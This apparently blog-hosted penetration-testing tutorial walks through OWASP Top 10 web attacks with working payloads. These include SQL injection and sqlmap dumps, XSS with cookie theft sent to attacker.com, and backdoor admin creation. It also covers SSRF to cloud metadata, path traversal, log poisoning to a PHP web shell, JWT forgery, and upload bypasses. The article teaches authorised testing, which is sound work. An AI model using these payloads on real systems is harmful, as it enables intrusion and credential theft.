Category: Technology
Tags: web-security, owasp, burp-suite, sql-injection, xss
Important: Web application testing must only be performed against systems where you have explicit written authorisation. Unauthorised testing is illegal under the Computer Misuse Act and equivalent legislation. Bug bounty programmes define scope for a reason -- stay inside it.
Web applications are the most commonly exploited attack surface in modern organisations, and for good reason: they are internet-facing by design, frequently complex, often hastily deployed, and regularly built by developers whose security training consisted of someone once mentioning "input validation" in a standup. The OWASP Top 10 has been telling us about the same vulnerability classes for over two decades, and organisations keep building them anyway.
This article covers the practical methodology for web application security testing, from reconnaissance through exploitation, with the exact commands and techniques needed to identify and demonstrate the most common vulnerability classes.
The OWASP Top 10 (2021)
The perennial reference for web application vulnerabilities:
| # | Category | In Practice |
|---|---|---|
| A01 | Broken Access Control | Users accessing things they shouldn't |
| A02 | Cryptographic Failures | Sensitive data transmitted or stored in cleartext |
| A03 | Injection | SQL injection, command injection, LDAP injection |
| A04 | Insecure Design | Architecture-level flaws no amount of code review fixes |
| A05 | Security Misconfiguration | Default credentials, verbose errors, open cloud storage |
| A06 | Vulnerable Components | Using libraries with known CVEs |
| A07 | Authentication Failures | Weak passwords, broken session management, missing MFA |
| A08 | Software and Data Integrity Failures | Insecure CI/CD, unverified updates |
| A09 | Logging & Monitoring Failures | Nobody notices the breach for 200 days |
| A10 | Server-Side Request Forgery | Making the server fetch things on your behalf |
Phase 1: Reconnaissance
Before testing a single input field, map the application's attack surface.
Technology Fingerprinting
# Wappalyzer / whatweb
whatweb -a 3 https://target.com
# HTTP headers reveal framework, server, and sometimes PHP version
curl -I https://target.com
# Nikto -- broad vulnerability scanner
nikto -h https://target.com -output nikto.txt
The Server, X-Powered-By, and X-AspNet-Version headers are gifts from developers who didn't strip them. The Set-Cookie header reveals session management details -- missing HttpOnly, Secure, or SameSite flags are findings in themselves.
Directory and File Discovery
# Feroxbuster -- recursive, fast
feroxbuster -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,asp,aspx,jsp,html,js,txt,bak -t 50
# ffuf -- flexible fuzzer
ffuf -u https://target.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-mc 200,301,302,403
Sensitive File Checks
curl -s https://target.com/robots.txt
curl -s https://target.com/.git/HEAD
curl -s https://target.com/.env
curl -s https://target.com/wp-config.php.bak
curl -s https://target.com/web.config
curl -s https://target.com/sitemap.xml
A .git/HEAD response means the entire repository is potentially downloadable. A .env file means someone has deployed Laravel (or similar) with the environment file exposed. These are not theoretical vulnerabilities -- they appear in production regularly.
Phase 2: SQL Injection
SQL injection has been the number one web vulnerability for so long that it has its own nostalgia. Despite decades of awareness, prepared statements, and ORMs, it stubbornly persists -- particularly in legacy applications and custom-built admin panels.
Detection
Test every input parameter (GET, POST, cookies, headers) with basic injection probes:
' OR 1=1-- # Classic auth bypass
' AND 1=2-- # Boolean-based (different response = injectable)
' OR SLEEP(5)-- # Time-based blind (response delayed = injectable)
'; WAITFOR DELAY '0:0:5'-- # MSSQL time-based
If the application returns a database error message, you have error-based SQLi. If it returns different content for true vs false conditions, you have boolean-based blind. If it delays the response, you have time-based blind.
sqlmap
Once injection is confirmed, sqlmap automates exploitation:
# Basic enumeration
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# Dump tables from a specific database
sqlmap -u "https://target.com/page?id=1" --batch -D dbname --tables
# Dump user table
sqlmap -u "https://target.com/page?id=1" --batch -D dbname -T users --dump
# From a Burp request file (most reliable method)
sqlmap -r request.txt --batch --dbs
# WAF bypass with tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between --batch --dbs
Manual Union-Based Exploitation
-- Find column count (increment until error)
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- Error here means 2 columns
-- Confirm injection point
' UNION SELECT NULL,NULL--
-- Extract data
' UNION SELECT 1,version()--
' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,group_concat(username,0x3a,password) FROM users--
Phase 3: Cross-Site Scripting (XSS)
XSS is the vulnerability that developers underestimate and pentesters overreport. A reflected XSS that requires a victim to click a crafted link is a legitimate finding. A reflected XSS that pops an alert box is a demonstration, not an impact statement.
Types
| Type | Persistence | Trigger | Severity |
|---|---|---|---|
| Stored | Saved in database | Any user views the page | High |
| Reflected | URL parameter | Victim clicks crafted link | Medium |
| DOM-based | Client-side only | JavaScript processes tainted input | Medium |
Test Payloads
<!-- Basic -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- Context-breaking -->
"><script>alert(1)</script>
'><script>alert(1)</script>
<!-- Filter bypass -->
<ScRiPt>alert(1)</ScRiPt>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<img src=x onerror="alert(1)">
Demonstrating Impact
An alert(1) proves the vulnerability exists. For a meaningful report, demonstrate what an attacker would actually do:
// Session hijacking
fetch('https://attacker.com/?c='+document.cookie)
// Account takeover via admin panel
fetch('/admin/users/create', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'backdoor',
password: 'P@ss123',
role: 'admin'
})
});
Phase 4: Server-Side Request Forgery (SSRF)
SSRF tricks the server into making HTTP requests on the attacker's behalf, often to internal services or cloud metadata endpoints that are not directly accessible.
Test Payloads
# Internal services
http://127.0.0.1:80
http://localhost:80
http://[::1]:80
# Bypass IP filters
http://0x7f000001 # Hex
http://2130706433 # Decimal
http://127.1 # Short form
http://attacker.com@127.0.0.1
# Cloud metadata -- the crown jewels
http://169.254.169.254/latest/meta-data/ # AWS
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure
http://metadata.google.internal/computeMetadata/v1/ # GCP
Accessing the AWS metadata endpoint from an SSRF vulnerability often yields IAM credentials with access to S3 buckets, databases, and other cloud resources. This is how Capital One was breached in 2019, which rather put SSRF on the map.
Phase 5: File Inclusion and Path Traversal
Local File Inclusion (LFI)
# Basic traversal
../../../etc/passwd
....//....//....//etc/passwd # Bypass basic filter
..%2f..%2f..%2fetc/passwd # URL encode
..%252f..%252f..%252fetc/passwd # Double encode
# PHP wrappers (PHP applications)
php://filter/convert.base64-encode/resource=config.php
php://input # POST body as code
data://text/plain,<?php system($_GET['cmd'])?>
LFI to Remote Code Execution
# Log poisoning: inject PHP into Apache access log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Then include the log file
http://target.com/page?file=../../../var/log/apache2/access.log&cmd=whoami
Phase 6: Authentication and Access Control
Broken Authentication Testing
# Default credentials
hydra -l admin -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
http-post-form://target.com "/login:user=^USER^&pass=^PASS^:Invalid"
# JWT vulnerabilities -- none algorithm attack
python3 -c "import jwt; print(jwt.encode({'sub':'admin','role':'admin'}, '', algorithm='none'))"
# JWT secret cracking
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
IDOR (Insecure Direct Object Reference)
The most underrated vulnerability class. Change the object identifier in the URL and see if you can access other users' data:
GET /api/user/1001/profile # Your profile
GET /api/user/1002/profile # Someone else's profile -- does it work?
GET /api/invoice/INV-2024-001 # Your invoice
GET /api/invoice/INV-2024-002 # Not your invoice -- can you see it?
IDOR vulnerabilities are trivial to find and often critical in impact. They appear in roughly 50% of applications tested, because implementing proper authorisation checks on every endpoint is apparently very difficult.
File Upload Vulnerabilities
If the application accepts file uploads, test for web shell upload:
# Extension bypass
shell.php -> shell.php5, shell.phtml, shell.pHp, shell.php.jpg
# Content-Type bypass
Change Content-Type: application/x-php -> image/jpeg
# Magic bytes
GIF89a<?php system($_GET['cmd']); ?>
# Save as shell.php.gif
# .htaccess upload (Apache)
# Upload a .htaccess that treats .jpg as PHP:
AddType application/x-httpd-php .jpg
# Then upload shell.jpg containing PHP code
Burp Suite Essentials
Burp Suite is the de facto standard tool for web application testing. The key features that matter:
| Feature | Use |
|---|---|
| Proxy | Intercept and modify requests |
| Repeater | Resend modified requests manually |
| Intruder | Automated fuzzing and brute force |
| Decoder | Encode/decode base64, URL, HTML entities |
| Comparer | Diff two responses to spot boolean-based SQLi |
Workflow: Proxy traffic through Burp while browsing the application normally. Review the site map for interesting endpoints. Send suspicious parameters to Repeater for manual testing. Use Intruder for fuzzing parameters with payload lists.
Testing Methodology
A structured approach prevents missing entire vulnerability classes:
1. Recon -> Technology stack, subdomains, directories
2. Map -> All endpoints, parameters, forms, APIs
3. Authentication -> Default creds, brute force, JWT, session handling
4. Injection -> SQLi, XSS, command injection, SSTI
5. Access Control -> IDOR, privilege escalation, forced browsing
6. SSRF -> URL parameters, webhooks, file imports
7. File Handling -> Upload bypass, LFI, path traversal
8. Logic Flaws -> Price manipulation, race conditions, workflow bypass
9. API Testing -> Mass assignment, rate limiting, broken auth
10. Report -> Reproduce, document, demonstrate impact
What's Next in the Series
- Offensive Security 101: The Attack Lifecycle -- where web testing fits in the broader attack methodology
- Reconnaissance -- the OSINT and enumeration that precedes web testing
- Nmap Cheatsheet -- finding the web servers to test
- Password Attacks -- cracking the credentials you extract via SQLi




